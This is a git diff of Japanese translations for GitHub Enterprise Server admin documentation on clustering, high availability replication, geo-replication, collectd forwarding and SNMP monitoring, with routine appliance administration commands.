diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/index.md b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/index.md
index 3738fe80e6..fd7ae2c1f1 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/index.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-clustering/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring clustering
-intro: Learn about clustering and differences with high availability.
+title: クラスタリングの設定
+intro: クラスタリングについて、そしてHigh Availabilityとの差異にについて学んでください。
 redirect_from:
   - /enterprise/admin/clustering/setting-up-the-cluster-instances
   - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster
diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
index 60b1d3bbae..ac45fa8d22 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: About high availability configuration
-intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.'
+title: High Availability設定について
+intro: 'High Availability 設定では、完全に冗長なセカンダリの {% data variables.product.prodname_ghe_server %} アプライアンスは、すべての主要なデータストアのレプリケーションによってプライマリアプライアンスとの同期を保ちます。'
 redirect_from:
   - /enterprise/admin/installation/about-high-availability-configuration
   - /enterprise/admin/enterprise-management/about-high-availability-configuration
@@ -14,56 +14,57 @@ topics:
   - Infrastructure
 shortTitle: About HA configuration
 ---
-When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance.
 
-{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where the replica appliance runs as a standby with database services running in replication mode but application services stopped.
+High Availability設定をする際には、プライマリからレプリカアプライアンスへのすべてのデータストア（Gitリポジトリ、MySQL、Redis、Elasticsearch）の一方方向の非同期レプリケーションが、自動的にセットアップされます。
+
+{% data variables.product.prodname_ghe_server %} はアクティブ／パッシブ設定をサポートします。この設定では、レプリカアプライアンスはデータベースサービスをレプリケーションモードで実行しながらスタンバイとして実行しますが、アプリケーションサービスは停止します。
 
 {% data reusables.enterprise_installation.replica-limit %}
 
-## Targeted failure scenarios
+## ターゲットとなる障害のシナリオ
 
-Use a high availability configuration for protection against:
+以下に対する保護として、High Availability設定を使ってください。
 
 {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %}
 
-A high availability configuration is not a good solution for:
+High Availability設定は、以下に対するソリューションとしては適切ではありません。
 
-  - **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %}
+  - **スケーリング外**。 Geo-replicationを使えば地理的にトラフィックを分散させることができるものの、書き込みのパフォーマンスはプライマリアプライアンスの速度と可用性によって制限されます。 For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %}
   - **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."{% endif %}
-  - **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots.
-  - **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica.
+  - **プライマリアプライアンスのバックアップ**。 High Availabilityレプリカは、システム災害復旧計画のオフサイトバックアップを置き換えるものではありません。 データ破壊や損失の中には、プライマリからレプリカへ即座にレプリケーションされてしまうものもあります。 安定した過去の状態への安全なロールバックを保証するには、履歴スナップショットでの定期的なバックアップを行う必要があります。
+  - **ダウンタイムゼロのアップグレード**。 コントロールされた昇格のシナリオにおけるデータ損失やスプリットブレインの状況を避けるには、プライマリアプライアンスをメンテナンスモードにして、すべての書き込みが完了するのを待ってからレプリカを昇格させてください。
 
-## Network traffic failover strategies
+## ネットワークトラフィックのフェイルオーバー戦略
 
-During failover, you must separately configure and manage redirecting network traffic from the primary to the replica.
+フェイルオーバーの間は、ネットワークトラフィックをプライマリからレプリカへリダイレクトするよう、別個に設定管理しなければなりません。
 
-### DNS failover
+### DNSフェイルオーバー
 
-With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes.
+DNS フェイルオーバーでは、プライマリの {% data variables.product.prodname_ghe_server %} アプライアンスを指す DNS レコードに短い TTL 値を使用します。 60秒から5分の間のTTLを推奨します。
 
-During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records.
+フェイルオーバーの間、プライマリはメンテナンスモードにして、プライマリのDNSレコードはレプリカアプライアンスのIPアドレスへリダイレクトしなければなりません。 トラフィックをプライマリからレプリカへリダイレクトするのに要する時間は、TTLの設定とDNSレコードの更新に必要な時間に依存します。
 
-If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."
+Geo-replication を使用している場合は、トラフィックを最も近いレプリカに転送するように Geo DNS を設定する必要があります。 詳細は「[Geo-replication について](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)」を参照してください。
 
-### Load balancer
+### ロードバランサ
 
 {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond to user traffic. For more information, see "[Using {% data variables.product.prodname_ghe_server %} with a load balancer](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)."
+フェイルオーバーの間、プライマリアプライアンスはメンテナンスモードにしなければなりません。 ロードバランサは、レプリカがプライマリに昇格したときに自動的に検出するように設定することも、手動での設定変更が必要なようにしておくこともできます。 ユーザからのトラフィックに反応する前に、レプリカはプライマリに手動で昇格させておかなければなりません、 詳細は「[ロードバランサとともに {% data variables.product.prodname_ghe_server %} を使用する](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)」を参照してください。
 
 {% data reusables.enterprise_installation.monitoring-replicas %}
 
-## Utilities for replication management
+## レプリケーション管理のユーティリティ
 
-To manage replication on {% data variables.product.prodname_ghe_server %}, use these command line utilities by connecting to the replica appliance using SSH.
+{% data variables.product.prodname_ghe_server %} でレプリケーションを管理するには、SSH を使用してレプリカアプライアンスに接続して以下のコマンドラインユーティリティを使用します。
 
 ### ghe-repl-setup
 
-The `ghe-repl-setup` command puts a {% data variables.product.prodname_ghe_server %} appliance in replica standby mode.
+`ghe-repl-setup` コマンドは、{% data variables.product.prodname_ghe_server %} アプライアンスをレプリカスタンバイモードにします。
 
- - An encrypted WireGuard VPN tunnel is configured for communication between the two appliances.
- - Database services are configured for replication and started.
- - Application services are disabled. Attempts to access the replica appliance over HTTP, Git, or other supported protocols will result in an "appliance in replica mode" maintenance page or error message.
+ - 2 つのアプライアンス間の通信のために、暗号化された WireGuard VPN トンネルが設定されます。
+ - レプリケーションのためのデータベースサービスが設定され、起動されます。
+ - アプリケーションサービスは無効化されます。 HTTP、Git、あるいはその他のサポートされているプロトコルでレプリカアプライアンスへアクセスしようとすると、"appliance in replica mode"メンテナンスページあるいはエラーメッセージが返されます。
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1
@@ -72,12 +73,12 @@ Connection check succeeded.
 Configuring database replication against primary ...
 Success: Replica mode is configured against 169.254.1.1.
 To disable replica mode and undo these changes, run `ghe-repl-teardown'.
-Run `ghe-repl-start' to start replicating against the newly configured primary.
+新たに設定されたプライマリに対してレプリケーションを開始するには`ghe-repl-start'を実行してください。
 ```
 
 ### ghe-repl-start
 
-The `ghe-repl-start` command turns on active replication of all datastores.
+`ghe-repl-start`コマンドは、すべてのデータストアのアクティブなレプリケーションを有効化します。
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-start
@@ -87,12 +88,12 @@ Starting Elasticsearch replication ...
 Starting Pages replication ...
 Starting Git replication ...
 Success: replication is running for all services.
-Use `ghe-repl-status' to monitor replication health and progress.
+レプリケーションの健全性と進行状況をモニタリングするには`ghe-repl-status'を使ってください。
 ```
 
 ### ghe-repl-status
 
-The `ghe-repl-status` command returns an `OK`, `WARNING` or `CRITICAL` status for each datastore replication stream. When any of the replication channels are in a `WARNING` state, the command will exit with the code `1`. Similarly, when any of the channels are in a `CRITICAL` state, the command will exit with the code `2`.
+`ghe-repl-status`コマンドは、各データストアのレプリケーションストリームについて`OK`、`WARNING`、`CRITICAL`のいずれかのステータスを返します。 レプリケーションチャンネルのいずれかが`WARNING`ステータスにある場合、このコマンドはコード`1`で終了します。 同様に、いずれかのチャンネルが`CRITICAL`ステータスにある場合、このコマンドはコード`2`で終了します。
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-status
@@ -103,7 +104,7 @@ OK: git data is in sync (10 repos, 2 wikis, 5 gists)
 OK: pages data is in sync
 ```
 
-The `-v` and `-vv` options give details about each datastore's replication state:
+`-v`及び`-vv`オプションは、各データストアのレプリケーションのステータスについての詳細を返します。
 
 ```shell
 $ ghe-repl-status -v
@@ -144,7 +145,7 @@ OK: pages data is in sync
 
 ### ghe-repl-stop
 
-The `ghe-repl-stop` command temporarily disables replication for all datastores and stops the replication services. To resume replication, use the [ghe-repl-start](#ghe-repl-start) command.
+`ghe-repl-stop`コマンドは、一時的にすべてのデータストアのレプリケーションを無効化し、レプリケーションサービスを停止させます。 レプリケーションを再開するには[ghe-repl-start](#ghe-repl-start)コマンドを使ってください。
 
 ```shell
 admin@168-254-1-2:~$ ghe-repl-stop
@@ -158,7 +159,7 @@ Success: replication was stopped for all services.
 
 ### ghe-repl-promote
 
-The `ghe-repl-promote` command disables replication and converts the replica appliance to a primary. The appliance is configured with the same settings as the original primary and all services are enabled.
+`ghe-repl-promote`コマンドはレプリケーションを無効化し、レプリカアプライアンスをプライマリに変換します。 アプライアンスはオリジナルのプライマリと同じ設定がなされ、すべてのサービスが有効化されます。
 
 {% data reusables.enterprise_installation.promoting-a-replica %}
 
@@ -181,9 +182,9 @@ Success: Replica has been promoted to primary and is now accepting requests.
 
 ### ghe-repl-teardown
 
-The `ghe-repl-teardown` command disables replication mode completely, removing the replica configuration.
+`ghe-repl-teardown`コマンドはレプリケーションモードを完全に無効化し、レプリカの設定を削除します。
 
-## Further reading
+## 参考リンク
 
-- "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)"
-- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)"
\ No newline at end of file
+- "[High Availabilityレプリカの作成](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)"
+- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)"
diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
index 31d4dbeb3f..1e9b256c9c 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a high availability replica
-intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.'
+title: High Availabilityレプリカの作成
+intro: アクティブ／パッシブ設定では、レプリカアプライアンスはプライマリアプライアンスの冗長コピーです。 プライマリアプライアンスに障害が起こると、High Availabilityモードではレプリカがプライマリアプライアンスとして動作し、サービスの中断を最小限にできます。
 redirect_from:
   - /enterprise/admin/installation/creating-a-high-availability-replica
   - /enterprise/admin/enterprise-management/creating-a-high-availability-replica
@@ -14,80 +14,81 @@ topics:
   - Infrastructure
 shortTitle: Create HA replica
 ---
+
 {% data reusables.enterprise_installation.replica-limit %}
 
-## Creating a high availability replica
+## High Availabilityレプリカの作成
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
-1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)."
-1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
+1. 新しい {% data variables.product.prodname_ghe_server %} アプライアンスを希望するプラットフォームにセットアップします。 レプリカアプライアンスのCPU、RAM、ストレージ設定は、プライマリアプライアンスと同じにするべきです。 レプリカアプライアンスは、独立した環境にインストールすることをお勧めします。 下位層のハードウェア、ソフトウェア、ネットワークコンポーネントは、プライマリアプライアンスのそれらとは分離されているべきです。 クラウドプロバイダを利用している場合には、別個のリージョンもしくはゾーンを使ってください。 詳細は「["{% data variables.product.prodname_ghe_server %} インスタンスをセットアップする](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)」を参照してください。
+1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. 詳しい情報については"[ネットワークポート](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)"を参照してください。
+1. ブラウザで新しいレプリカアプライアンスのIPアドレスにアクセスして、所有する{% data variables.product.prodname_enterprise %}のライセンスをアップロードしてください。
 {% data reusables.enterprise_installation.replica-steps %}
-1. Connect to the replica appliance's IP address using SSH.
+1. SSHを使ってレプリカアプライアンスのIPアドレスに接続してください。
   ```shell
   $ ssh -p 122 admin@<em>REPLICA IP</em>
   ```
 {% data reusables.enterprise_installation.generate-replication-key-pair %}
 {% data reusables.enterprise_installation.add-ssh-key-to-primary %}
-1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again.
+1. プライマリへの接続を確認し、新しいレプリカのレプリカモードを有効にするには、`ghe-repl-setup` をもう一度実行します。
   ```shell
   $ ghe-repl-setup <em>PRIMARY IP</em>
   ```
 {% data reusables.enterprise_installation.replication-command %}
 {% data reusables.enterprise_installation.verify-replication-channel %}
 
-## Creating geo-replication replicas
+## Geo-replicationレプリカの作成
 
-This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)."
+レプリカを作成する以下の例の設定では、1 つのプライマリと 2 つのレプリカを使用しており、これらは 3 つの異なる地域にあります。 3 つのノードは別のネットワークに配置できますが、すべてのノードは他のすべてのノードから到達可能である必要があります。 最低限、必要な管理ポートは他のすべてのノードに対して開かれている必要があります。 ポートの要件に関する詳しい情報については、「[ネットワークポート](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)」を参照してください。
 
-1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica.
+1. 最初のレプリカで `ghe-repl-setup` を実行することで、標準の 2 ノード構成の場合と同じ方法で最初のレプリカを作成します。
   ```shell
   (replica1)$ ghe-repl-setup <em>PRIMARY IP</em>
   (replica1)$ ghe-repl-start
   ```
-2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration.
+2. 2 番目のレプリカを作成して、`ghe-repl-setup --add` コマンドを使用します。 `--add` フラグは、既存のレプリケーション設定を上書きするのを防ぎ、新しいレプリカを設定に追加します。
   ```shell
   (replica2)$ ghe-repl-setup --add <em>PRIMARY IP</em>
   (replica2)$ ghe-repl-start
   ```
-3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter.
+3. デフォルトでは、レプリカは同じデータセンターに設定され、同じノードにある既存のノードからシードを試行します。 レプリカを別のデータセンターに設定するには、datacenter オプションに異なる値を設定します。 具体的な値は、それらが互いに異なる限り、どのようなものでもかまいません。 各ノードで `ghe-repl-node` コマンドを実行し、データセンターを指定します。
 
-  On the primary:
+  プライマリでは以下のコマンドを実行します。
   ```shell
   (primary)$ ghe-repl-node --datacenter <em>[PRIMARY DC NAME]</em>
   ```
-  On the first replica:
+  1 番目のレプリカでは以下のコマンドを実行します。
   ```shell
   (replica1)$ ghe-repl-node --datacenter <em>[FIRST REPLICA DC NAME]</em>
   ```
-  On the second replica:
+  2 番目のレプリカでは以下のコマンドを実行します。
   ```shell
   (replica2)$ ghe-repl-node --datacenter <em>[SECOND REPLICA DC NAME]</em>
   ```
   {% tip %}
 
-  **Tip:** You can set the `--datacenter` and `--active` options at the same time.
+  **ヒント:** `--datacenter` と `--active` のオプションは同時に設定できます。
 
   {% endtip %}
-4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag.
+4. アクティブなレプリカノードは、アプライアンスデータのコピーを保存し、エンドユーザーのリクエストに応じます。 アクティブではないノードは、アプライアンスデータのコピーを保存しますが、エンドユーザーのリクエストに応じることはできません。 `--active` フラグを使用してアクティブモードを有効にするか、`--inactive` フラグを使用して非アクティブモードを有効にします。
 
-  On the first replica:
+  1 番目のレプリカでは以下のコマンドを実行します。
   ```shell
   (replica1)$ ghe-repl-node --active
   ```
-  On the second replica:
+  2 番目のレプリカでは以下のコマンドを実行します。
   ```shell
   (replica2)$ ghe-repl-node --active
   ```
-5. To apply the configuration, use the `ghe-config-apply` command on the primary.
+5. 設定を適用するには、プライマリで `ghe-config-apply` コマンドを使用します。
   ```shell
   (primary)$ ghe-config-apply
   ```
 
-## Configuring DNS for geo-replication
+## Geo-replicationのためのDNSの設定
 
-Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`.
+プライマリとレプリカノードの IP アドレスを使って、Geo DNS を設定します。 SSH でプライマリノードにアクセスしたり、`backup-utils` でバックアップするために、プライマリノード (たとえば、`primary.github.example.com`) に対して DNS CNAME を作成することもできます。
 
-For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines.
+テストのために、ローカルワークステーションの `hosts` ファイル (たとえば、`/etc/hosts`) にエントリを追加することができます。 以下の例のエントリでは、`HOSTNAME` に対するリクエストが `replica2` に決定されることになります。 別の行をコメントアウトすることで、特定のホストをターゲットにすることができます。
 
 ```
 # <primary IP>     <em>HOSTNAME</em>
@@ -95,8 +96,8 @@ For testing, you can add entries to the local workstation's `hosts` file (for ex
 <replica2 IP>    <em>HOSTNAME</em>
 ```
 
-## Further reading
+## 参考リンク
 
-- "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)"
-- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
-- "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)"
+- "[High Availability設定について](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)"
+- "[レプリケーション管理のユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
+- 「[Geo-replication について](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)」
diff --git a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/index.md b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/index.md
index f2287f14df..e9945e8b05 100644
--- a/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/index.md
+++ b/translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/index.md
@@ -1,12 +1,12 @@
 ---
-title: Configuring high availability
+title: High Availability の設定
 redirect_from:
   - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability
   - /enterprise/admin/guides/installation/high-availability-cluster-configuration
   - /enterprise/admin/guides/installation/high-availability-configuration
   - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability
   - /enterprise/admin/enterprise-management/configuring-high-availability
-intro: '{% data variables.product.prodname_ghe_server %} supports a high availability mode of operation designed to minimize service disruption in the event of hardware failure or major network outage affecting the primary appliance.'
+intro: '{% data variables.product.prodname_ghe_server %} は、プライマリアプライアンスに影響を及ぼすハードウェア障害や重大なネットワーク障害が発生した場合に、サービスの中断を最小限に抑えるように設計された、運用の High Availability モードをサポートしています。'
 versions:
   ghes: '*'
 topics:
diff --git a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
index 8d39fdb11a..6033153a5d 100644
--- a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
+++ b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring collectd
-intro: '{% data variables.product.prodname_enterprise %} can gather data with `collectd` and send it to an external `collectd` server. Among other metrics, we gather a standard set of data such as CPU utilization, memory and disk consumption, network interface traffic and errors, and the VM''s overall load.'
+title: collectd のコンフィグレーション
+intro: '{% data variables.product.prodname_enterprise %}は、`collectd` でデータを収集し、外部の `collectd` に送信することができます。 CPU の使用率やメモリーとディスクの消費、ネットワークインタフェーストラフィックとエラー、仮想マシンの全体的な負荷などのデータを収集しています。'
 redirect_from:
   - /enterprise/admin/installation/configuring-collectd
   - /enterprise/admin/articles/configuring-collectd
@@ -16,14 +16,15 @@ topics:
   - Monitoring
   - Performance
 ---
-## Set up an external `collectd` server
 
-If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.product.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher.
+## 外部 `collectd` サーバーを設置
 
-1. Log into your `collectd` server.
-2. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf`
+{% data variables.product.product_location %}に`collectd` の転送をまだ有効にしていない場合は、外部の `collectd` サーバを設置する必要があります。 `collectd` サーバは、`collectd` 5.x 以降のバージョンを実行している必要があります。
 
-An example *collectd.conf* to run a `collectd` server:
+1. `collectd` サーバにログインする
+2. `collectd` を作成、または編集することで、ネットワークプラグインをロードし、適切な値をサーバとポートのディレクティブに追加する。 たいていのディストリビューションでは、これは `/etc/collectd/collectd.conf` にあります。
+
+`collectd` サーバを実行するための見本の*collectd.conf*
 
     LoadPlugin network
     ...
@@ -32,34 +33,34 @@ An example *collectd.conf* to run a `collectd` server:
         Listen "0.0.0.0" "25826"
     </Plugin>
 
-## Enable collectd forwarding on {% data variables.product.prodname_enterprise %}
+## {% data variables.product.prodname_enterprise %}でcollectd転送を有効にする
 
-By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding:
+デフォルトでは、`collectd` 転送は {% data variables.product.prodname_enterprise %} で無効になっています。 次の手順に従って、`collectd` 転送を有効にして設定します。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-1. Below the log forwarding settings, select **Enable collectd forwarding**.
-1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics.
-1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826)
-1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.)
+1. ログの転送設定の下にある、**Enable collectd forwarding** を選択する
+1. **Server address** の欄には {% data variables.product.prodname_enterprise %}のアプライアンスの統計を転送したい`collectd` サーバのアドレスを入力する。
+1. **Port**の欄には、`collectd` サーバーに接続するためのポートを入力する。 (デフォルトは 25826)
+1. **Cryptographic setup** のドロップダウンメニューでは、`collectd` サーバーとのコミュニケーションのセキュリティーレベルを選択する。 （なし、署名付きパケット、または暗号化されたパケット。）
 {% data reusables.enterprise_management_console.save-settings %}
 
-## Exporting collectd data with `ghe-export-graphs`
+## collectd データの `ghe-export-graphs`でのエクスポート
 
-The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (.tgz).
+`ghe-export-graphs` のコマンドラインツールは、`collectd` が RRD データベースに保存するデータをエクスポートします。 このコマンドは、データを XML にして、1つのTAR書庫（.tgz）にエクスポートします。
 
-Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting.
+その主な用途は、Support Bundleを一括ダウンロードする必要なく、{% data variables.contact.contact_ent_support %}のチームに仮想マシンのパフォーマンスに関するデータ提供することです。 定期的なバックアップエクスポートに含めてはなりません。また、その逆のインポートもありません。 {% data variables.contact.contact_ent_support %}に連絡したとき、問題解決を容易にするため、このデータが必要となる場合があります。
 
-### Usage
+### 使い方
 
 ```shell
 ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz .
 ```
 
-## Troubleshooting
+## トラブルシューティング
 
-### Central collectd server receives no data
+### 中心の collectd サーバはデータを受信していない
 
-{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.product.product_location %}.
+{% data variables.product.prodname_enterprise %} は `collectd` バージョン 5.x に付属しています。 `collectd` 5.x は、4.x リリースシリーズとの下位互換性がありません。 {% data variables.product.product_location %}から送られるデータを受信するには、中心の`collectd`サーバは 5.x 以上のバージョンでなければなりません。
 
-For help with further questions or issues, contact {% data variables.contact.contact_ent_support %}.
+他に質問や問題がある場合、{% data variables.contact.contact_ent_support %}までお問い合わせください。
diff --git a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/index.md
index bb04a0812b..07cb400e4b 100644
--- a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/index.md
+++ b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Monitoring your appliance
-intro: 'As use of {% data variables.product.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.'
+title: アプライアンスを監視する
+intro: '{% data variables.product.product_location %} インスタンスの使用が時間とともに増加するにつれて、CPU、メモリ、ストレージなどのシステムリソースの利用率も増加します。 アプリケーションのパフォーマンスや可用性にマイナスの影響を及ぼすほど重大になる前に潜在的な問題に気づけるよう、モニタリングやアラートを設定することができます。'
 redirect_from:
   - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting
   - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance
diff --git a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
index 83d8dda6b5..9c7974835d 100644
--- a/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
+++ b/translations/ja-JP/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md
@@ -1,6 +1,6 @@
 ---
-title: Monitoring using SNMP
-intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.'
+title: SNMP での監視
+intro: '{% data variables.product.prodname_enterprise %}は、SNMP経由でディスクの使用や CPU の使用率、メモリーの使用などのデータを提供します。'
 redirect_from:
   - /enterprise/admin/installation/monitoring-using-snmp
   - /enterprise/admin/articles/monitoring-using-snmp
@@ -15,66 +15,60 @@ topics:
   - Monitoring
   - Performance
 ---
-SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.product.product_location %} and know when to add more memory, storage, or processor power to the host machine.
 
-{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](http://www.monitoring-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system.
